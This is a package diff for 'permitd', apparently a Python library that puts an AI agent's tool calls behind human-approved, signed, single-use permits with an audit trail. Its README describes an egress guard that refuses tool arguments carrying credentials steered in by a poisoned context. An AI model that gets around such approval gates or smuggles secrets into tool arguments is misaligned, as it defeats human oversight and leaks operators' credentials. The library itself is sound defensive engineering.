+ if permit is None:
169
+ raise PermitError("unknown_permit", f"no permit {permit_id}")
170
+ permit = self._expire_if_stale(permit)
171
+ if permit.status != PROPOSED:
172
+ self._log("approve_refused", permit, reason=f"already_{permit.status}")
173
+ raise PermitError(f"already_{permit.status}",
174
+ f"{permit_id} is {permit.status}, not approvable")
175
+ permit.approved_at = self._now().isoformat()
176
+ permit.token = self._sign(permit.id, permit.binding_hash, permit.approved_at)
177
+ permit.status = APPROVED
178
+ self.store.update(permit)
179
+ self._log("approved", permit)
180
+ return permit
181
+
182
+ def deny(self, permit_id: str) -> Permit:
183
+ permit = self.store.get(permit_id)
184
+ if permit is None:
185
+ raise PermitError("unknown_permit", f"no permit {permit_id}")
186
+ if permit.status not in (PROPOSED, APPROVED):
187
+ raise PermitError(f"already_{permit.status}",
188
+ f"{permit_id} is {permit.status}, not deniable")
189
+ permit.status = DENIED
190
+ permit.decided_at = self._now().isoformat()
191
+ permit.token = None # any minted token is dead on deny
192
+ self.store.update(permit)
193
+ self._log("denied", permit)
194
+ return permit
195
+
196
+ # ── VERIFY + BURN ────────────────────────────────────────────────────
197
+ def verify_and_burn(self, tool: str, args: Optional[Dict[str, Any]],
198
+ permit_id: str) -> Tuple[bool, str]:
199
+ """Fail-closed check run at execute time. Passes only if the permit
200
+ was approved for THIS exact (tool, args), its signature recomputes
201
+ (store-tamper check), it is unexpired, and this caller wins the atomic
202
+ burn. Returns (ok, reason); reason is the audit/refusal label."""
203
+ if not permit_id:
204
+ return False, "missing_permit"
205
+ permit = self.store.get(permit_id)
206
+ if permit is None:
207
+ return False, "unknown_permit"
208
+ permit = self._expire_if_stale(permit)
209
+ if permit.status != APPROVED:
210
+ return False, {PROPOSED: "not_approved", DENIED: "denied",
211
+ EXPIRED: "expired"}.get(permit.status, "already_used")
212
+ expected = self._sign(permit.id, permit.binding_hash, permit.approved_at or "")
213
+ if not permit.token or not hmac.compare_digest(permit.token, expected):
214
+ return False, "bad_signature"
215
+ if permit.binding_hash != binding_hash(tool, args):
216
+ return False, "args_mismatch"
217
+ if not self.store.burn(permit.id, self._now().isoformat()):
218
+ return False, "already_used" # lost the race — one-shot holds
219
+ return True, "ok"
220
+
221
+ # ── EXECUTE ──────────────────────────────────────────────────────────
222
+ def execute(self, tool: str, args: Optional[Dict[str, Any]],
223
+ permit_id: str, runner: Callable[..., Any]) -> Any:
224
+ """Verify + burn, then run `runner(**args)`. Refusals raise PermitError
225
+ and are audited; the successful execution lands its audit line too."""
226
+ args = dict(args or {})
227
+ ok, reason = self.verify_and_burn(tool, args, permit_id)
228
+ if not ok:
229
+ if self.audit is not None:
230
+ self.audit.log({"event": "refused", "permit_id": permit_id,
231
+ "tool": tool, "args": summarize_args(args),
232
+ "reason": reason})
233
+ raise PermitError(reason, f"{tool}: permit {reason} — refused. "
234
+ "An approved action runs only against a fresh, "
235
+ "matching, operator-minted permit.")
236
+ try:
237
+ result = runner(**args)
238
+ except Exception as e:
239
+ if self.audit is not None:
240
+ self.audit.log({"event": "failed", "permit_id": permit_id,
241
+ "tool": tool, "args": summarize_args(args),
242
+ "error": str(e)})
243
+ raise
244
+ if self.audit is not None:
245
+ self.audit.log({"event": "executed", "permit_id": permit_id,
246
+ "tool": tool, "args": summarize_args(args), "ok": True})
247
+ return result
permitd/permit.py ADDED
@@ -0,0 +1,70 @@
1
+ """The Permit record and its lifecycle states."""
2
+ from __future__ import annotations
3
+
4
+ from dataclasses import dataclass, field
5
+ from typing import Any, Dict, Optional
6
+
7
+ # Lifecycle: PROPOSED -> APPROVED -> EXECUTED
8
+ # -> DENIED
9
+ # (PROPOSED or APPROVED past TTL) -> EXPIRED
10
+ PROPOSED = "proposed"
11
+ APPROVED = "approved"
12
+ DENIED = "denied"
13
+ EXECUTED = "executed"
14
+ EXPIRED = "expired"
15
+
16
+ STATUSES = {PROPOSED, APPROVED, DENIED, EXECUTED, EXPIRED}
17
+
18
+
19
+ @dataclass
20
+ class Permit:
21
+ """One proposed tool call and the state of its authorization.
22
+
23
+ `token` is the HMAC signature minted at approve time; it never appears in
24
+ `public()` output — surfaces that render permits must not leak it."""
25
+ id: str
26
+ tool: str
27
+ args: Dict[str, Any] = field(default_factory=dict)
28
+ binding_hash: str = ""
29
+ status: str = PROPOSED
30
+ created_at: str = ""
31
+ approved_at: Optional[str] = None
32
+ decided_at: Optional[str] = None
33
+ executed_at: Optional[str] = None
34
+ token: Optional[str] = None
35
+ ttl_seconds: int = 300
36
+
37
+ def public(self) -> Dict[str, Any]:
38
+ """The view handed to UIs and models. Full args on purpose: the
39
+ approval surface is the operator's informed-consent surface, so it
40
+ must show the exact thing being authorized — but never the token."""
41
+ return {
42
+ "id": self.id,
43
+ "tool": self.tool,
44
+ "args": dict(self.args),
45
+ "status": self.status,
46
+ "created_at": self.created_at,
47
+ "ttl_seconds": self.ttl_seconds,
48
+ }
49
+
50
+ def to_row(self) -> Dict[str, Any]:
51
+ return {
52
+ "id": self.id,
53
+ "tool": self.tool,
54
+ "args": dict(self.args),
55
+ "binding_hash": self.binding_hash,
56
+ "status": self.status,
57
+ "created_at": self.created_at,
58
+ "approved_at": self.approved_at,
59
+ "decided_at": self.decided_at,
60
+ "executed_at": self.executed_at,
61
+ "token": self.token,
62
+ "ttl_seconds": self.ttl_seconds,
63
+ }
64
+
65
+ @classmethod
66
+ def from_row(cls, row: Dict[str, Any]) -> "Permit":
67
+ return cls(**{k: row.get(k) for k in (
68
+ "id", "tool", "args", "binding_hash", "status", "created_at",
69
+ "approved_at", "decided_at", "executed_at", "token", "ttl_seconds",
70
+ )})
permitd/store.py ADDED
@@ -0,0 +1,151 @@
1
+ """Pluggable permit storage.
2
+
3
+ The kernel talks to a small protocol; two implementations ship:
4
+
5
+ - SqliteStore (default): durable, and the single-use burn is one atomic
6
+ UPDATE ... WHERE status='approved', so two processes racing the same permit
7
+ cannot both pass — no application-level lock required.
8
+ - MemoryStore: tests and ephemeral gates.
9
+
10
+ Any other backend (Postgres, Redis) only needs the same five methods; keep
11
+ `burn` compare-and-swap semantics or the one-shot guarantee is lost.
12
+ """
13
+ from __future__ import annotations
14
+
15
+ import json
16
+ import sqlite3
17
+ import threading
18
+ from pathlib import Path
19
+ from typing import Dict, List, Optional, Protocol
20
+
21
+ from .permit import APPROVED, EXECUTED, Permit
22
+
23
+
24
+ class PermitStore(Protocol):
25
+ def create(self, permit: Permit) -> None: ...
26
+ def get(self, permit_id: str) -> Optional[Permit]: ...
27
+ def update(self, permit: Permit) -> None: ...
28
+ def burn(self, permit_id: str, executed_at: str) -> bool:
29
+ """Atomically flip APPROVED -> EXECUTED. Returns True only for the one
30
+ caller that won; a second attempt on the same permit returns False."""
31
+ ...
32
+ def list(self, status: Optional[str] = None) -> List[Permit]: ...
33
+
34
+
35
+ class MemoryStore:
36
+ def __init__(self) -> None:
37
+ self._rows: Dict[str, Permit] = {}
38
+ self._lock = threading.Lock()
39
+
40
+ def create(self, permit: Permit) -> None:
41
+ with self._lock:
42
+ self._rows[permit.id] = Permit.from_row(permit.to_row())
43
+
44
+ def get(self, permit_id: str) -> Optional[Permit]:
45
+ with self._lock:
46
+ p = self._rows.get(permit_id)
47
+ return Permit.from_row(p.to_row()) if p else None
48
+
49
+ def update(self, permit: Permit) -> None:
50
+ with self._lock:
51
+ self._rows[permit.id] = Permit.from_row(permit.to_row())
52
+
53
+ def burn(self, permit_id: str, executed_at: str) -> bool:
54
+ with self._lock:
55
+ p = self._rows.get(permit_id)
56
+ if p is None or p.status != APPROVED:
57
+ return False
58
+ p.status = EXECUTED
59
+ p.executed_at = executed_at
60
+ return True
61
+
62
+ def list(self, status: Optional[str] = None) -> List[Permit]:
63
+ with self._lock:
64
+ rows = [Permit.from_row(p.to_row()) for p in self._rows.values()]
65
+ if status is not None:
66
+ rows = [p for p in rows if p.status == status]
67
+ return sorted(rows, key=lambda p: p.created_at)
68
+
69
+
70
+ _SCHEMA = """
71
+ CREATE TABLE IF NOT EXISTS permits (
72
+ id TEXT PRIMARY KEY,
73
+ tool TEXT NOT NULL,
74
+ args TEXT NOT NULL,
75
+ binding_hash TEXT NOT NULL,
76
+ status TEXT NOT NULL,
77
+ created_at TEXT NOT NULL,
78
+ approved_at TEXT,
79
+ decided_at TEXT,
80
+ executed_at TEXT,
81
+ token TEXT,
82
+ ttl_seconds INTEGER NOT NULL
83
+ )
84
+ """
85
+
86
+ _COLS = ("id", "tool", "args", "binding_hash", "status", "created_at",
87
+ "approved_at", "decided_at", "executed_at", "token", "ttl_seconds")
88
+
89
+
90
+ class SqliteStore:
91
+ def __init__(self, path: str | Path) -> None:
92
+ self.path = Path(path)
93
+ self.path.parent.mkdir(parents=True, exist_ok=True)
94
+ with self._conn() as con:
95
+ con.execute(_SCHEMA)
96
+
97
+ def _conn(self) -> sqlite3.Connection:
98
+ con = sqlite3.connect(self.path, timeout=10)
99
+ con.row_factory = sqlite3.Row
100
+ return con
101
+
102
+ @staticmethod
103
+ def _to_permit(row: sqlite3.Row) -> Permit:
104
+ d = dict(row)
105
+ d["args"] = json.loads(d["args"] or "{}")
106
+ return Permit.from_row(d)
107
+
108
+ def create(self, permit: Permit) -> None:
109
+ row = permit.to_row()
110
+ row["args"] = json.dumps(row["args"], ensure_ascii=False)
111
+ with self._conn() as con:
112
+ con.execute(
113
+ f"INSERT INTO permits ({','.join(_COLS)}) "
114
+ f"VALUES ({','.join('?' for _ in _COLS)})",
115
+ tuple(row[c] for c in _COLS),
116
+ )
117
+
118
+ def get(self, permit_id: str) -> Optional[Permit]:
119
+ with self._conn() as con:
120
+ row = con.execute("SELECT * FROM permits WHERE id = ?", (permit_id,)).fetchone()
121
+ return self._to_permit(row) if row else None
122
+
123
+ def update(self, permit: Permit) -> None:
124
+ row = permit.to_row()
125
+ row["args"] = json.dumps(row["args"], ensure_ascii=False)
126
+ sets = ",".join(f"{c} = ?" for c in _COLS if c != "id")
127
+ with self._conn() as con:
128
+ con.execute(
129
+ f"UPDATE permits SET {sets} WHERE id = ?",
130
+ tuple(row[c] for c in _COLS if c != "id") + (permit.id,),
131
+ )
132
+
133
+ def burn(self, permit_id: str, executed_at: str) -> bool:
134
+ with self._conn() as con:
135
+ cur = con.execute(
136
+ "UPDATE permits SET status = ?, executed_at = ? "
137
+ "WHERE id = ? AND status = ?",
138
+ (EXECUTED, executed_at, permit_id, APPROVED),
139
+ )
140
+ return cur.rowcount == 1
141
+
142
+ def list(self, status: Optional[str] = None) -> List[Permit]:
143
+ q = "SELECT * FROM permits"
144
+ params: tuple = ()
145
+ if status is not None:
146
+ q += " WHERE status = ?"
147
+ params = (status,)
148
+ q += " ORDER BY created_at"
149
+ with self._conn() as con:
150
+ rows = con.execute(q, params).fetchall()
151
+ return [self._to_permit(r) for r in rows]
@@ -0,0 +1,208 @@
1
+ Metadata-Version: 2.4
2
+ Name: permitd
3
+ Version: 0.1.0
4
+ Summary: Governed tool execution for agent loops: propose -> permit -> approve -> execute -> audit. Fail-closed, zero dependencies.
5
+ Project-URL: Homepage, https://github.com/hbar-systems/permitd
6
+ Project-URL: Issues, https://github.com/hbar-systems/permitd/issues
7
+ Author: hbar-systems
8
+ License-Expression: MIT
9
+ License-File: LICENSE
10
+ Keywords: agent,agent-loops,approval,audit,governance,human-in-the-loop,loop-engineering,mcp,permits,tool-use
11
+ Classifier: Development Status :: 4 - Beta
12
+ Classifier: Intended Audience :: Developers
13
+ Classifier: Operating System :: OS Independent
14
+ Classifier: Programming Language :: Python :: 3
15
+ Classifier: Programming Language :: Python :: 3.10
16
+ Classifier: Programming Language :: Python :: 3.11
17
+ Classifier: Programming Language :: Python :: 3.12
18
+ Classifier: Programming Language :: Python :: 3.13
19
+ Classifier: Programming Language :: Python :: 3.14
20
+ Classifier: Topic :: Security
21
+ Classifier: Topic :: Software Development :: Libraries
22
+ Requires-Python: >=3.10
23
+ Provides-Extra: dev
24
+ Requires-Dist: pytest>=8; extra == 'dev'
25
+ Provides-Extra: mcp
26
+ Requires-Dist: mcp>=1.0; extra == 'mcp'
27
+ Description-Content-Type: text/markdown
28
+
29
+ # permitd
30
+
31
+ **Governed tool execution for agent loops.**
32
+
33
+ ![An agent proposes a gated call, a human approves it in another terminal, the call executes, and the audit lines land](docs/demo.gif)
34
+
35
+ Your agent loop wants to send the email, write the file, hit the API. You want
36
+ a human decision in between — one that an agent cannot fake, replay, or bend
37
+ to different arguments — and a line in an audit log either way.
38
+
39
+ ```
40
+ propose(tool, args) ──> permit (signed, TTL, single-use)
41
+ ──> approve (a human, out-of-band: CLI, or any callable)
42
+ ──> execute (verify + burn, atomically)
43
+ ──> one audit line lands (append-only JSONL)
44
+ ```
45
+
46
+ permitd is that flow as a small, stdlib-only Python library. It is also
47
+ **loop state**: the permit lives in SQLite, so a call proposed in turn N of
48
+ your agent loop is approved from another terminal and executed in turn N+K —
49
+ across restarts, across processes.
50
+
51
+ Every non-execute outcome is fail-closed. A missing, expired, denied,
52
+ tampered, argument-mismatched, or already-used permit is refused, and the
53
+ refusal is audited too.
54
+
55
+ ## Install
56
+
57
+ ```
58
+ pip install permitd
59
+ ```
60
+
61
+ Python ≥ 3.10, zero dependencies.
62
+
63
+ ## Sixty seconds, two terminals
64
+
65
+ **Terminal 1 — the agent side** (`agent.py`):
66
+
67
+ ```python
68
+ import time
69
+ from permitd import Gate, RED
70
+
71
+ gate = Gate(db="permitd.db")
72
+
73
+ @gate.tool(tier=RED, description="send a message to someone")
74
+ def send_message(to, body):
75
+ return f"delivered to {to}: {body!r}"
76
+
77
+ args = {"to": "alice", "body": "hello from the loop"}
78
+ r = gate.call("send_message", args)
79
+ print(r.error) # "... permit PRM-xxxx is proposed ..."
80
+
81
+ pid = r.permit["id"]
82
+ while gate.get(pid).status == "proposed": # this state survives restarts
83
+ time.sleep(1)
84
+
85
+ r = gate.call("send_message", args, permit_id=pid)
86
+ print(r.result if r.ok else r.error)
87
+ ```
88
+
89
+ ```
90
+ python agent.py
91
+ ```
92
+
93
+ **Terminal 2 — the human side:**
94
+
95
+ ```
96
+ $ permitd pending
97
+ 1 pending permit(s):
98
+ PRM-3f9c21ab44de [proposed] send_message
99
+ args: {"to": "alice", "body": "hello from the loop"}
100
+ proposed: 2026-07-29T18:12:03+00:00 ttl: 300s
101
+
102
+ $ permitd approve PRM-3f9c21ab44de
103
+ approved — PRM-3f9c21ab44de is executable for 300s, single use, bound to exactly these arguments
104
+ ```
105
+
106
+ Terminal 1 wakes up and prints `delivered to alice: 'hello from the loop'`.
107
+ The trail:
108
+
109
+ ```
110
+ $ permitd audit
111
+ {"ts": "...", "event": "proposed", "permit_id": "PRM-3f9c21ab44de", "tool": "send_message", ...}
112
+ {"ts": "...", "event": "approved", "permit_id": "PRM-3f9c21ab44de", ...}
113
+ {"ts": "...", "event": "executed", "permit_id": "PRM-3f9c21ab44de", "ok": true}
114
+ ```
115
+
116
+ That is the whole product: propose, approve, execute, audit line.
117
+
118
+ ## What the permit actually guarantees
119
+
120
+ - **Bound to exact arguments.** A permit is scoped to
121
+ `sha256(tool + canonical_json(args))`. Approval for "send X to Alice" cannot
122
+ be replayed as "send Y to Eve" — key order and whitespace don't change the
123
+ binding; any value change does (`args_mismatch`).
124
+ - **Single-use, atomically.** The burn is one SQLite compare-and-swap
125
+ (`UPDATE ... WHERE status='approved'`), so two processes racing the same
126
+ permit cannot both pass (`already_used`).
127
+ - **Time-boxed twice.** A proposal is approvable for `ttl_seconds` (default
128
+ 300); a minted approval is executable for another `ttl_seconds`. Unparseable
129
+ timestamps count as expired.
130
+ - **HMAC-signed.** Approval mints
131
+ `HMAC-SHA256(secret, id.binding_hash.approved_at)`, re-verified at execute
132
+ time — a store row edited behind the kernel's back fails (`bad_signature`).
133
+ - **Fail-closed everywhere.** Anything the kernel cannot positively verify —
134
+ including "the arguments could not even be inspected" — is a refusal, not a
135
+ pass. Refusals are audited with their reason.
136
+
137
+ ## Tiers
138
+
139
+ `Gate` is a small registry with three tiers over the kernel:
140
+
141
+ | tier | meaning | gate |
142
+ |---|---|---|
143
+ | `GREEN` | read-only over your own state | runs freely, audited |
144
+ | `YELLOW` | external read (search, fetch) | one standing toggle: `gate.standing_authorization = True` |
145
+ | `RED` | write / exec / send | per-call permit: the flow above |
146
+
147
+ If you don't want the registry, use the kernel directly:
148
+
149
+ ```python
150
+ from permitd import PermitKernel, SqliteStore, AuditLog
151
+
152
+ kernel = PermitKernel(SqliteStore("permitd.db"),
153
+ secret_path="permitd.db.secret",
154
+ audit=AuditLog("permitd_audit.jsonl"))
155
+ p = kernel.propose("deploy", {"target": "prod"})
156
+ kernel.approve(p.id) # or from the CLI / your own UI
157
+ kernel.execute("deploy", {"target": "prod"}, p.id, runner=do_deploy)
158
+ ```
159
+
160
+ `approve` is just a method on a store-backed kernel — call it from a CLI, a
161
+ Slack handler, an HTTP endpoint, wherever your human is.
162
+
163
+ ## The egress guard
164
+
165
+ Before any non-GREEN call runs — **including at propose time** — its arguments
166
+ are scanned for credential-shaped content: private-key blocks, `Bearer`/`Basic`
167
+ headers, AWS/GitHub/Slack/Stripe/OpenAI/Anthropic/Google key shapes, inline
168
+ `api_key=...` assignments, the values of this process's own sensitive
169
+ environment variables, and a conservative high-entropy backstop. A poisoned
170
+ context that steers a secret into a tool argument is refused before anything
171
+ leaves, before any approval card is shown, and the refusal reason names the
172
+ matched *shape*, never the value.
173
+
174
+ ## MCP: gate any agent's tools, including Claude Code's
175
+
176
+ [`examples/mcp_server/`](examples/mcp_server/) is an MCP server whose tools go
177
+ through the gate. Point any MCP-speaking agent at it and that agent gets
178
+ propose → approve → execute + audit with **zero agent-side changes**: the
179
+ agent calls a RED tool, is told "permit PRM-… proposed, waiting for approval",
180
+ you run `permitd approve PRM-…` in another terminal, the agent retries and the
181
+ call executes. The audit line lands either way.
182
+
183
+ ## Storage
184
+
185
+ `SqliteStore` (default, durable, atomic burn) and `MemoryStore` (tests,
186
+ ephemeral) ship in the box. Anything else needs five methods — see the
187
+ `PermitStore` protocol in [`store.py`](src/permitd/store.py); keep `burn`
188
+ compare-and-swap or you lose the one-shot guarantee. The audit trail is a
189
+ separate append-only JSONL file so it stays `tail -f`-able.
190
+
191
+ ## What permitd is not
192
+
193
+ Not an agent, not a framework, not memory, not RAG. It has no opinion about
194
+ your loop, your model, or your prompts. It is the layer that holds the state
195
+ of "may this run?" across turns — and the receipt after it did.
196
+
197
+ ## Ancestry
198
+
199
+ Extracted from the tool-governance kernel of
200
+ [brainfoundry-nous](https://github.com/hbar-systems/brainfoundry-nous), where
201
+ it runs in production gating a personal AI node's tools. The
202
+ propose/confirm/execute + audit grammar goes back to
203
+ [hbar.brain.console](https://github.com/hbar-systems/hbar.brain.console)
204
+ (2026-03). Design notes: [DESIGN.md](DESIGN.md).
205
+
206
+ ## License
207
+
208
+ MIT.
@@ -0,0 +1,14 @@
1
+ permitd/__init__.py,sha256=leuSDkcSF_C8QEwCo-NJy_RG1CbZcXBPdpzyoDcFP4g,1306
2
+ permitd/audit.py,sha256=b43ZhdbVdx_SJZZC3muAbg9-d3lLK2XLHZ3qdNZ_dEg,2246
3
+ permitd/binding.py,sha256=0M9ov-Dx9GMS31Mjnb1ek5mdS3bWR8ZP11Zt8-2_yq8,1004
4
+ permitd/cli.py,sha256=jjEOhM1kQTKS4ZQ6Y9sPJD6Syc2iAIyNKeeTKO1p06U,4417
5
+ permitd/gate.py,sha256=zqs0y-YOVzx6zUP5UjL0XpS4xrHiyNYBb_hYPCIhXBw,9034
6
+ permitd/guard.py,sha256=bjSr47yC8I5EKmKvSvZ24dvxMwx5zx08s2LLuxQpByk,6797
7
+ permitd/kernel.py,sha256=35hJ7lZG6ByBo_l99Vpw9D00qGH9vsnaEmAN_WcpcLA,11655
8
+ permitd/permit.py,sha256=Q92NVg2BXkQ4ftrzFYpQn4kz7ixG-HQhIh1i6aBl_Qo,2343
9
+ permitd/store.py,sha256=QX8Dm3-t4cuzwOyho1ON9irrGZx79RdXV6qj9yLc3Z4,5238
10
+ permitd-0.1.0.dist-info/METADATA,sha256=YySrkIqJOejQB7ZE6LHza6gnjjTZH5Fxfq_3CqQrUjU,8061
11
+ permitd-0.1.0.dist-info/WHEEL,sha256=lCkmxWfQsSc9CfIClYeavTdQeEX2toPqufh9gI35EQA,87
12
+ permitd-0.1.0.dist-info/entry_points.txt,sha256=7UUgxAdkoM3oA1emvy6Nq3F_vIUKAjjRIt9BcR8qneE,45
13
+ permitd-0.1.0.dist-info/licenses/LICENSE,sha256=MLX6Owunzi8tBj5XZ60WZ3toHt4XTE-vIlfzpbUGHOw,1069
14
+ permitd-0.1.0.dist-info/RECORD,,
@@ -0,0 +1,4 @@
1
+ Wheel-Version: 1.0
2
+ Generator: hatchling 1.31.0
3
+ Root-Is-Purelib: true
4
+ Tag: py3-none-any
@@ -0,0 +1,2 @@
1
+ [console_scripts]
2
+ permitd = permitd.cli:main
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 hbar-systems
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.